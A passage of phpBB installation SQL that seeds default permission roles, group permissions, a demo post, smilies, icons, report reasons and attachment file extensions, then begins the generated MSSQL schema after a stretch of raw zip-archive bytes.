phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 1, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'a_%' AND auth_option NOT IN ('a_switchperm', 'a_jabber', 'a_phpinfo', 'a_server', 'a_backup', 'a_styles', 'a_clearlogs', 'a_modules', 'a_language', 'a_email', 'a_bots', 'a_search', 'a_aauth', 'a_roles'); # Forum admin (a_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 2, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'a_%' AND auth_option IN ('a_', 'a_authgroups', 'a_authusers', 'a_fauth', 'a_forum', 'a_forumadd', 'a_forumdel', 'a_mauth', 'a_prune', 'a_uauth', 'a_viewauth', 'a_viewlogs'); # User and Groups Admin (a_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 3, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'a_%' AND auth_option IN ('a_', 'a_authgroups', 'a_authusers', 'a_ban', 'a_group', 'a_groupadd', 'a_groupdel', 'a_ranks', 'a_uauth', 'a_user', 'a_viewauth', 'a_viewlogs'); # Full Admin (a_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 4, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'a_%'; # All Features (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 5, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%'; # Standard Features (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 6, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option NOT IN ('u_viewonline', 'u_chggrp', 'u_chgname', 'u_ignoreflood', 'u_pm_flash', 'u_pm_forward'); # Limited Features (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 7, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option NOT IN ('u_attach', 'u_viewonline', 'u_chggrp', 'u_chgname', 'u_ignoreflood', 'u_pm_attach', 'u_pm_emailpm', 'u_pm_flash', 'u_savedrafts', 'u_search', 'u_sendemail', 'u_sendim', 'u_masspm', 'u_masspm_group'); # No Private Messages (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 8, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option IN ('u_', 'u_chgavatar', 'u_chgcensors', 'u_chgemail', 'u_chgpasswd', 'u_download', 'u_hideonline', 'u_sig', 'u_viewprofile'); INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 8, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option IN ('u_readpm', 'u_sendpm', 'u_masspm', 'u_masspm_group'); # No Avatar (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 9, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option NOT IN ('u_attach', 'u_chgavatar', 'u_viewonline', 'u_chggrp', 'u_chgname', 'u_ignoreflood', 'u_pm_attach', 'u_pm_emailpm', 'u_pm_flash', 'u_savedrafts', 'u_search', 'u_sendemail', 'u_sendim', 'u_masspm', 'u_masspm_group'); INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 9, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option IN ('u_chgavatar'); # Full Moderator (m_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 10, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'm_%'; # Standard Moderator (m_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 11, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'm_%' AND auth_option NOT IN ('m_ban', 'm_chgposter'); # Simple Moderator (m_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 12, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'm_%' AND auth_option IN ('m_', 'm_delete', 'm_edit', 'm_info', 'm_report'); # Queue Moderator (m_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 13, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'm_%' AND auth_option IN ('m_', 'm_approve', 'm_edit'); # Full Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 14, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%'; # Standard Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 15, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option NOT IN ('f_announce', 'f_flash', 'f_ignoreflood', 'f_poll', 'f_sticky', 'f_user_lock'); # No Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 16, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option = 'f_'; # Read Only Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 17, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option IN ('f_', 'f_download', 'f_list', 'f_read', 'f_search', 'f_subscribe', 'f_print'); # Limited Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 18, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option NOT IN ('f_announce', 'f_attach', 'f_bump', 'f_delete', 'f_flash', 'f_icons', 'f_ignoreflood', 'f_poll', 'f_sticky', 'f_user_lock', 'f_votechg'); # Bot Access (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 19, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option IN ('f_', 'f_download', 'f_list', 'f_read', 'f_print'); # On Moderation Queue (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 20, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option NOT IN ('f_announce', 'f_bump', 'f_delete', 'f_flash', 'f_icons', 'f_ignoreflood', 'f_poll', 'f_sticky', 'f_user_lock', 'f_votechg', 'f_noapprove'); INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 20, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option IN ('f_noapprove'); # Standard Access + Polls (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 21, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option NOT IN ('f_announce', 'f_flash', 'f_ignoreflood', 'f_sticky', 'f_user_lock'); # Limited Access + Polls (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 22, auth_option_id, 1 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option NOT IN ('f_announce', 'f_attach', 'f_bump', 'f_delete', 'f_flash', 'f_icons', 'f_ignoreflood', 'f_sticky', 'f_user_lock', 'f_votechg'); # New Member (u_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 23, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option LIKE 'u_%' AND auth_option IN ('u_sendpm', 'u_masspm', 'u_masspm_group'); # New Member (f_) INSERT INTO phpbb_acl_roles_data (role_id, auth_option_id, auth_setting) SELECT 24, auth_option_id, 0 FROM phpbb_acl_options WHERE auth_option LIKE 'f_%' AND auth_option IN ('f_noapprove'); # Permissions # GUESTS - u_download and u_search ability INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) SELECT 1, 0, auth_option_id, 0, 1 FROM phpbb_acl_options WHERE auth_option IN ('u_', 'u_download', 'u_search'); # Admin user - full user features INSERT INTO phpbb_acl_users (user_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (2, 0, 0, 5, 0); # ADMINISTRATOR Group - full user features INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (5, 0, 0, 5, 0); # ADMINISTRATOR Group - standard admin INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (5, 0, 0, 1, 0); # REGISTERED and REGISTERED_COPPA having standard user features INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (2, 0, 0, 6, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (3, 0, 0, 6, 0); # GLOBAL_MODERATORS having full user features INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (4, 0, 0, 5, 0); # GLOBAL_MODERATORS having full global moderator access INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (4, 0, 0, 10, 0); # Giving all groups read only access to the first category # since administrators and moderators are already within the registered users group we do not need to set them here INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (1, 1, 0, 17, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (2, 1, 0, 17, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (3, 1, 0, 17, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (6, 1, 0, 17, 0); # Giving access to the first forum # guests having read only access INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (1, 2, 0, 17, 0); # registered and registered_coppa having standard access INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (2, 2, 0, 15, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (3, 2, 0, 15, 0); # global moderators having standard access + polls INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (4, 2, 0, 21, 0); # administrators having full forum and full moderator access INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (5, 2, 0, 14, 0); INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (5, 2, 0, 10, 0); # Bots having bot access INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (6, 2, 0, 19, 0); # NEW MEMBERS aren't allowed to PM INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (7, 0, 0, 23, 0); # NEW MEMBERS on the queue INSERT INTO phpbb_acl_groups (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (7, 2, 0, 24, 0); # -- Demo Topic INSERT INTO phpbb_topics (topic_title, topic_poster, topic_time, topic_views, topic_replies, topic_replies_real, forum_id, topic_status, topic_type, topic_first_post_id, topic_first_poster_name, topic_first_poster_colour, topic_last_post_id, topic_last_poster_id, topic_last_poster_name, topic_last_poster_colour, topic_last_post_subject, topic_last_post_time, topic_last_view_time, poll_title) VALUES ('{L_TOPICS_TOPIC_TITLE}', 2, 972086460, 0, 0, 0, 2, 0, 0, 1, 'Admin', 'AA0000', 1, 2, 'Admin', 'AA0000', '{L_TOPICS_TOPIC_TITLE}', 972086460, 972086460, ''); # -- Demo Post INSERT INTO phpbb_posts (topic_id, forum_id, poster_id, icon_id, post_time, post_username, poster_ip, post_subject, post_text, post_checksum, bbcode_uid) VALUES (1, 2, 2, 0, 972086460, '', '127.0.0.1', '{L_TOPICS_TOPIC_TITLE}', '{L_DEFAULT_INSTALL_POST}', '5dd683b17f641daf84c040bfefc58ce9', ''); # -- Admin posted to the demo topic INSERT INTO phpbb_topics_posted (user_id, topic_id, topic_posted) VALUES (2, 1, 1); # -- Smilies INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':D', 'icon_e_biggrin.gif', '{L_SMILIES_VERY_HAPPY}', 15, 17, 1); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-D', 'icon_e_biggrin.gif', '{L_SMILIES_VERY_HAPPY}', 15, 17, 2); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':grin:', 'icon_e_biggrin.gif', '{L_SMILIES_VERY_HAPPY}', 15, 17, 3); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':)', 'icon_e_smile.gif', '{L_SMILIES_SMILE}', 15, 17, 4); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-)', 'icon_e_smile.gif', '{L_SMILIES_SMILE}', 15, 17, 5); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':smile:', 'icon_e_smile.gif', '{L_SMILIES_SMILE}', 15, 17, 6); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (';)', 'icon_e_wink.gif', '{L_SMILIES_WINK}', 15, 17, 7); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (';-)', 'icon_e_wink.gif', '{L_SMILIES_WINK}', 15, 17, 8); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':wink:', 'icon_e_wink.gif', '{L_SMILIES_WINK}', 15, 17, 9); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':(', 'icon_e_sad.gif', '{L_SMILIES_SAD}', 15, 17, 10); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-(', 'icon_e_sad.gif', '{L_SMILIES_SAD}', 15, 17, 11); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':sad:', 'icon_e_sad.gif', '{L_SMILIES_SAD}', 15, 17, 12); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':o', 'icon_e_surprised.gif', '{L_SMILIES_SURPRISED}', 15, 17, 13); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-o', 'icon_e_surprised.gif', '{L_SMILIES_SURPRISED}', 15, 17, 14); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':eek:', 'icon_e_surprised.gif', '{L_SMILIES_SURPRISED}', 15, 17, 15); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':shock:', 'icon_eek.gif', '{L_SMILIES_SHOCKED}', 15, 17, 16); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':?', 'icon_e_confused.gif', '{L_SMILIES_CONFUSED}', 15, 17, 17); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-?', 'icon_e_confused.gif', '{L_SMILIES_CONFUSED}', 15, 17, 18); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':???:', 'icon_e_confused.gif', '{L_SMILIES_CONFUSED}', 15, 17, 19); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES ('8-)', 'icon_cool.gif', '{L_SMILIES_COOL}', 15, 17, 20); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':cool:', 'icon_cool.gif', '{L_SMILIES_COOL}', 15, 17, 21); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':lol:', 'icon_lol.gif', '{L_SMILIES_LAUGHING}', 15, 17, 22); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':x', 'icon_mad.gif', '{L_SMILIES_MAD}', 15, 17, 23); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-x', 'icon_mad.gif', '{L_SMILIES_MAD}', 15, 17, 24); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':mad:', 'icon_mad.gif', '{L_SMILIES_MAD}', 15, 17, 25); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':P', 'icon_razz.gif', '{L_SMILIES_RAZZ}', 15, 17, 26); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-P', 'icon_razz.gif', '{L_SMILIES_RAZZ}', 15, 17, 27); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':razz:', 'icon_razz.gif', '{L_SMILIES_RAZZ}', 15, 17, 28); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':oops:', 'icon_redface.gif', '{L_SMILIES_EMARRASSED}', 15, 17, 29); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':cry:', 'icon_cry.gif', '{L_SMILIES_CRYING}', 15, 17, 30); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':evil:', 'icon_evil.gif', '{L_SMILIES_EVIL}', 15, 17, 31); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':twisted:', 'icon_twisted.gif', '{L_SMILIES_TWISTED_EVIL}', 15, 17, 32); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':roll:', 'icon_rolleyes.gif', '{L_SMILIES_ROLLING_EYES}', 15, 17, 33); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':!:', 'icon_exclaim.gif', '{L_SMILIES_EXCLAMATION}', 15, 17, 34); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':?:', 'icon_question.gif', '{L_SMILIES_QUESTION}', 15, 17, 35); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':idea:', 'icon_idea.gif', '{L_SMILIES_IDEA}', 15, 17, 36); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':arrow:', 'icon_arrow.gif', '{L_SMILIES_ARROW}', 15, 17, 37); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':|', 'icon_neutral.gif', '{L_SMILIES_NEUTRAL}', 15, 17, 38); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':-|', 'icon_neutral.gif', '{L_SMILIES_NEUTRAL}', 15, 17, 39); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':mrgreen:', 'icon_mrgreen.gif', '{L_SMILIES_MR_GREEN}', 15, 17, 40); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':geek:', 'icon_e_geek.gif', '{L_SMILIES_GEEK}', 17, 17, 41); INSERT INTO phpbb_smilies (code, smiley_url, emotion, smiley_width, smiley_height, smiley_order) VALUES (':ugeek:', 'icon_e_ugeek.gif', '{L_SMILIES_UBER_GEEK}', 17, 18, 42); # -- icons INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('misc/fire.gif', 16, 16, 1, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('smile/redface.gif', 16, 16, 9, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('smile/mrgreen.gif', 16, 16, 10, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('misc/heart.gif', 16, 16, 4, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('misc/star.gif', 16, 16, 2, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('misc/radioactive.gif', 16, 16, 3, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('misc/thinking.gif', 16, 16, 5, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('smile/info.gif', 16, 16, 8, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('smile/question.gif', 16, 16, 6, 1); INSERT INTO phpbb_icons (icons_url, icons_width, icons_height, icons_order, display_on_posting) VALUES ('smile/alert.gif', 16, 16, 7, 1); # -- reasons INSERT INTO phpbb_reports_reasons (reason_title, reason_description, reason_order) VALUES ('warez', '{L_REPORT_WAREZ}', 1); INSERT INTO phpbb_reports_reasons (reason_title, reason_description, reason_order) VALUES ('spam', '{L_REPORT_SPAM}', 2); INSERT INTO phpbb_reports_reasons (reason_title, reason_description, reason_order) VALUES ('off_topic', '{L_REPORT_OFF_TOPIC}', 3); INSERT INTO phpbb_reports_reasons (reason_title, reason_description, reason_order) VALUES ('other', '{L_REPORT_OTHER}', 4); # -- extension_groups INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('IMAGES', 1, 1, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('ARCHIVES', 0, 1, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('PLAIN_TEXT', 0, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('DOCUMENTS', 0, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('REAL_MEDIA', 3, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('WINDOWS_MEDIA', 2, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('FLASH_FILES', 5, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('QUICKTIME_MEDIA', 6, 0, 1, '', 0, ''); INSERT INTO phpbb_extension_groups (group_name, cat_id, allow_group, download_mode, upload_icon, max_filesize, allowed_forums) VALUES ('DOWNLOADABLE_FILES', 0, 0, 1, '', 0, ''); # -- extensions INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'gif'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'png'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'jpeg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'jpg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'tif'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'tiff'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (1, 'tga'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'gtar'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'gz'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'tar'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'zip'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'rar'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'ace'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'torrent'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'tgz'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, 'bz2'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (2, '7z'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'txt'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'c'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'h'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'cpp'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'hpp'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'diz'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'csv'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'ini'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'log'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'js'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (3, 'xml'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'xls'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'xlsx'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'xlsm'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'xlsb'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'doc'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'docx'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'docm'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'dot'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'dotx'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'dotm'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'pdf'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'ai'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'ps'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'ppt'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'pptx'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'pptm'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'odg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'odp'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'ods'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'odt'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (4, 'rtf'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (5, 'rm'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (5, 'ram'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (6, 'wma'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (6, 'wmv'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (7, 'swf'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, 'mov'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, 'm4v'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, 'm4a'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, 'mp4'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, '3gp'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, '3g2'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (8, 'qt'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (9, 'mpeg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (9, 'mpg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (9, 'mp3'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (9, 'ogg'); INSERT INTO phpbb_extensions (group_id, extension) VALUES (9, 'ogm'); # POSTGRES COMMIT # PK‰† [RE@Æ*Á*Áschemas/mssql_schema.sqlnuW+A„¶/* * DO NOT EDIT THIS FILE, IT IS GENERATED * * To change the contents of this file, edit * phpBB/develop/create_schema_files.php and * run it. */ /* Table: 'phpbb_attachments' */ CREATE TABLE [phpbb_attachments] ( [attach_id] [int] IDENTITY (1, 1) NOT NULL , [post_msg_id] [int] DEFAULT (0) NOT NULL , [topic_id] [int] DEFAULT (0) NOT NULL , [in_message] [int] DEFAULT (0) NOT NULL , [poster_id] [int] DEFAULT (0) NOT NULL , [is_orphan] [int] DEFAULT (1) NOT NULL , [physical_filename] [varchar] (255) DEFAULT ('') NOT NULL , [real_filename] [varchar] (255) DEFAULT ('') NOT NULL , [download_count] [int] DEFAULT (0) NOT NULL , [attach_comment] [varchar] (4000) DEFAULT ('') NOT NULL , [extension] [varchar] (100) DEFAULT ('') NOT NULL , [mimetype] [varchar] (100) DEFAULT ('') NOT NULL , [filesize] [int] DEFAULT (0) NOT NULL , [filetime] [int] DEFAULT (0) NOT NULL , [thumbnail] [int] DEFAULT (0) NOT NULL ) ON [PRIMARY] GO ALTER TABLE [phpbb_attachments] WITH NOCHECK ADD CONSTRAINT [PK_phpbb_attachments] 